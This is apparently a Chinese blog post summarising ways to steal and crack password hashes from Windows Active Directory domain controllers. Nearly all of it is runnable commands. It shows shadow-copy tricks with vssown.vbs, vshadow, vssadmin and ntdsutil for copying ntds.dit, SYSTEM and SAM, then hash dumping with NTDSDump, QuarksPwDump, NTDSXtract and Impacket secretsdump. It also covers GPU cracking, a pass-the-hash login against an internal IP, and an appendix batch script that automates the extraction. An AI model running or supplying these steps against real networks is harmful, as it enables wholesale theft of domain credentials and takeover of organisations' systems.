域hash值破解的总结经验
1.vsssown.vbs拷贝域数据库:
1.1上传vssown.vbs文件
上传cscript.exe和vssown.vbs到域服务器上
1.2创建快照
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters //得到ntds的默认路径:c:\ Windows\NTDS\ntds.dit cd 桌面 cscript //nologo vssown.vbs /start //启用 cscript //nologo vssown.vbs /status //查看运行状态 cscript //nologo vssown.vbs /create C //在C盘下创建副本卷影 cscript //nologo vssown.vbs /list >d:\jy.txt //查看创建的快照信息并输出到d:\jy.txt
1.3获取域据库ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\ntds\ntds.dit d: //拷贝ntds.dit到D盘,有时候ntds.dit不在默认路径,需要通过注册表查询到路径
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\system32\config\SYSTEM d: //拷贝system到D盘
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\system32\config\SAM d: //拷贝sam到D盘
cscript //nologo vssown.vbs /delete {B3475A72-86D2-48EC-A22F-6E8DBB82903D} //删除卷影
2.vshadow.exe拷贝域数据库:
vshadow.exe -exec=%ComSpec% C: //在C盘下创建副本卷影 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\system32\config\system d: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\ntds\ntds.dit d: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\system32\config\SAM d:
3.vssadmin拷贝域数据库:
vssadmin create shadow /for=c: //在C盘下创建副本卷影 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\ntds.dit d:\ntds.dit copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM d:\system.hive copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\system32\config\SAM d:\sam
4.NTDSDump导出域数据库hash值:
4.1 ntsdump命令帮助
ntdsdump.exe <-f ntds.dit> <-k HEX-SYS-KEY | -s system.hiv> [-o out.txt] [-h] [-t JOHN|LC] -f ntds.dit路径 -k 可选的十六进制格式的SYSKEY -s 可选的system.hiv路径 -h 导出历史密码记录 -t 导出格式,LC或JOHN -o 导出到指定文件中
4.2 ntdsdump快速导出hash值
NTDSDump.exe -f ntds.dit -s SYSTEM -h -t john(或者lc) -o SecPulseHash.txt //快速导出HASH值
5.ntdsutil.exe + QuarksPwDump.exe导出hash值:
5.1quarkspwdump命令帮助
-dhl 导出本地哈希值 -dhdc导出内存中的域控哈希值 -dhd 导出域控哈希值,必须指定NTDS文件 -db 导出Bitlocker信息,必须指定NTDS文件 -nt 导出ntds文件 -hist 导出历史信息,可选项 -t 导出类型可选默认导出为John类型。 -o 导出文件到本地 QuarksPwDumpv0.2b.exe -dhl -o bk.txt //导出本地哈希值到当前目录的bk.tx quarks-pwdump.exe --dump-hash-domain --with-history //导出本机域控历史存储的hash值 quarks-pwdump.exe --dump-bitlocker --output c:\bitlocker.txt --ntds-file c:\ntds.dit
5.2创建快照:
ntdsutil snapshot "activate instance ntds" create quit quit
5.3 Ntdsutil挂载域快照:
ntdsutil snapshot "mount{a0455f6c-40c3-4b56-80a0-80261471522c}" quit quit
快照 {5e0d92d3-992d-42b9-bbd5-9c85e5dc7827} 已掛接為 C:\$SNAP_201212082315_VOLUMEC$\
5.4 复制快照
copy C:\$SNAP_201212082315_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
5.5 卸载快照:
ntdsutil snapshot "unmount{5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}" quit quit
5.6 删除快照
ntdsutil snapshot "delete{5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}" quit quit
ntsutil.exe +PWPR(Passcape Windows Password Recovery)
5.7ntdsutil导出ntds.dit和system
#ntdsutil
#snapshot
#activate instance ntds
#create
#mount {GUID}
copy c:\{挂载点}\WINDOWS\NTDS\NTDS.dit c:\NTDS_saved.dit (可手动复制)(新窗口复制)
copy c:\{挂载点}\WINDOWS\system32\config\system c:\system
#unmount {GUID}
#delete {GUID}
#quit
#quit
最后通过PWPR(Passcape Windows Password Recovery)的GPU本地在线破解hash值
5.7 域控上执行导出hash值:
QuarksPwDump.exe --dump-hash-domain --ntds-file c:\ntds.dit --output SecPulseHash.txt //建议在域控制器上执行,不然会下载下来出错 QuarksPwDump.exe -dhd -hist -nt ntds.dit -o log.txt //修复离线下载的ntds.dit
5.8 导出system文件
reg save hklm\system system.hive //导出system文件
5.9离线下载本地导出hash值
quarks-pwdump.exe --dump-hash-domain --ntds-file C:\pentest\NTDS.dit -sf C:\pentest\SYSTEM -o hashes.txt //离线导出ntds.dit的hash值
6.libesedb+ NtdsXtract导出域数据库hash值:
6.1 ubuntu上安装libesedb的先决条件:
sudo apt install autoconf automake autopoint libtool pkg-config //安装先决条件
6.2 安装libesedb:
git clone https://github.com/libyal/libesedb.git cd libesedb/ ./synclibs.sh ./autogen.sh ./configure make sudo make install //默认安装在/usr/local/bin下 ldconfig
6.3 分离ntds.dit数据库
root@kali:/usr/local/bin# esedbexport -m tables /opt/ntds.dit // 将ntds.dit和sam以及system下载到本地kali桌面中的hashdumpwork目录下,然后分离出数据表来,会在目录下生 成一个目录ntds.dit.export的文件夹
7.4安装NTDSXtract
wget https://github.com/csababarta/ntdsxtract/archive/e2fc6470cf54d9151bed394ce9ad3cd25be7c262.zip unzip e2fc6470cf54d9151bed394ce9ad3cd25be7c262.zip cd ntdsxtract-e2fc6470cf54d9151bed394ce9ad3cd25be7c262/ python setup.py install
7.5 ntds脚本导出hash值
root@kali:# python dsusers.py /usr/local/bin/ntds.dit.export/datatable. /usr/local/bin/ntds.dit.export/link_table. /root/Desktop/hashdumpwork --syshive /root/Desktop/SYSTEM --passwordhashes --lmoutfile /root/Desktop/lm-out.txt --ntoutfile /root/Desktop/nt-out.txt --pwdformat ophc(或者john)
7. Impacket's secretsdump导出域数据库hash值:
python secretsdump.py -ntds /opt/ntds.dit -system /opt/system.hive local
7.1 Impacket's secretsdump脚本域hash传递登录:
python secretsdump.py -hashes :f9bccbbbdkkkkkkddjjjkkjfjjggj bk/bk.org@192.168.1.100
8.附录
附录:批处理导出ntds.dit文件
setlocal @REM test if we are called by VSHADOW if NOT “%CALLBACK_SCRIPT%”==”” goto :IS_CALLBACK @REM @REM Get the source and destination path @REM set SOURCE_DRIVE_LETTER=%~d1 set SOURCE_RELATIVE_PATH=%~pnx1 set DESTINATION_PATH=% @REM @REM Create the shadow copy – and generate env variables into a temporary script. @REM @REM Then, while the shadow is still live @REM recursively execute the same script. @REM @echo …Determine the scripts to be executed/generated… set CALLBACK_SCRIPT=%~dpnx0 set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd @echo …Creating the shadow copy… %~dp0\vshadow.exe -script=%TEMP_GENERATED_SCRIPT% -exec=%CALLBACK_SCRIPT% %SOURCE_DRIVE_LETTER% del /f %TEMP_GENERATED_SCRIPT% @goto :EOF :IS_CALLBACK setlocal @REM @REM This generated script should set the SHADOW_DEVICE_1 env variable @REM @echo …Obtaining the shadow copy device name… call %TEMP_GENERATED_SCRIPT% @REM @REM This should copy the file to the right location @REM @echo …Copying from the shadow copy to the destination path… copy “%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%” %DESTINATION_PATH%
域hash值破解的总结经验的更多相关文章
- Hash值破解工具Hashcat使用
Hash值破解工具Hashcat使用 Hashcat介绍 HashCat系列软件拥有十分灵活的破解方式,可以满足绝大多数的破解需求. Hashcat系列软件是比较牛逼的密码破解软件,系列软件包含Has ...
- Hash值破解工具(findmyhash与hash-identifier破解Hash值)
Hash值破解工具(findmyhash与hash-identifier破解Hash值) 前言: Kali Linux提供各种哈希密文破解工具,如hashcat.john.rainbows.不论哪一种 ...
- 获取域hash并破解
ntds.dit ntds.dit是主要的AD数据库,存放在C:\Windows\NTDS\NTDS.dit,包括有关域用户,组和组成员身份的信息.它还包括域中所有用户的密码哈希值.为了进一步保护密码 ...
- HASH暴力破解工具-Hashcat
乌云网看到一篇文章讲述hashcat的使用简介(戳这里),对使用字典破解MD5内容 简单在kali上尝试了一下. (1)首先查看了下hashcat的帮助文档,简单截取了其中的部分常用说明. hashc ...
- IOS9.0中hash值的bug与解决方案
事件起因 事情是这样的:产品上线发布,突然出现了问题.运营Gg过来反应,当场给露珠演示,运营同事的手机是iphone,bug确实是存在的.奇怪的是露珠用了其他iphone手机(借别人的,露珠的是吊死安 ...
- 错误记录:html隐藏域的值存字符串时出错
问题 webform在后台给前台传值. <input type="hidden" value="<%=userType %>" id=&qu ...
- bt 介绍以及 bt 种子的hash值(特征值)计算
bt种子的hansh值计算,近期忽然对bt种子感兴趣了(原因勿问) 1. bt种子(概念) bt 是一个分布式文件分发协议,每一个文件下载者在下载的同一时候向其他下载者不断的上传已经下载的数据,这样保 ...
- JAVA-读取文件部分内容计算HASH值
对于一些大文件,有时会需要计算部分内容的Hash,下面的函数计算了 文件头尾各1M,中间跳跃100M取10K 以及文件大小的Hash值 public static String CalHash(Str ...
- Java 获取字符串Hash值
Java 生成字符串的Hash值: /** * A hashing method that changes a string (like a URL) into a hash suitable for ...
随机推荐
- SICP读书笔记 3.4
SICP CONCLUSION 让我们举起杯,祝福那些将他们的思想镶嵌在重重括号之间的Lisp程序员 ! 祝我能够突破层层代码,找到住在里计算机的神灵! 目录 1. 构造过程抽象 2. 构造数据抽象 ...
- JDK动态代理的简单理解
转载:http://www.cnblogs.com/luotaoyeah/p/3778183.html 动态代理 代理模式是 Java 中的常用设计模式,代理类通过调用被代理类的相关方法,提供预处理. ...
- 【quickhybrid】如何实现一个Hybrid框架
章节目录 [quickhybrid]如何实现一个跨平台Hybrid框架 [quick hybrid]架构一个Hybrid框架 [quick hybrid]H5和Native交互原理 [quick hy ...
- 导出excel失败,提示提示加载类型库/DDL出错
首先,这里提供的解决办法仅适用于出现如下异常的情况:无法将类型为“Microsoft.Office.Interop.Excel.ApplicationClass”的 COM 对象强制转换为接口类型“M ...
- 团队项目-NABCD
用户需求分析与NABCD 模拟经营类(SIM)游戏:玩家模拟经营一家软件公司,平台初步定为Android. Need需求 任何一款游戏都要有自己的定位和目标群体,这些 iiMediaResearch数 ...
- Linux读书笔记第一、二章
第一章 Linux内核简介 1.1Unix历史 Unix特点:1.很简洁 2.所有东西都被当成文件对待 3.Unix内核和相关的系统工具软件都是用C语言编写而成 4.进程创建非常迅速 1.2追寻 ...
- 20172329 2018-2019《Java程序设计与数据结构》课程总结
作者:lalalouye(20172329王文彬) 2018-2019年大二Java程序设计与数据结构课程总目录:第一周 第二周 第三周 第四周 第五周 第六周 第七周 第八周 第九周 实验一 实验二 ...
- 第二阶段每日站立会议Third Day
昨天对图片显示的大小进行调整 今天对于程序中的字体显示进行细化修改,使界面更美观 遇到的问题:当图片太小时,显示一块灰色区域,不美观
- Sprint计划表
Sprint会议计划 一.Sprint 需求 准备环节:小组成员利用周六周日在网上查阅Android开发的教程,练习开发一些简单的小程序,具备一定的开发能力,在电脑上搭建Android开发环境,做好 ...
- 啊啊啊 草蛋啊 之前努力一天搞出来的时间算法 被一句pk掉 给我砖头
package yun3; import java.io.BufferedReader; import java.io.InputStreamReader; import java.util.Cale ...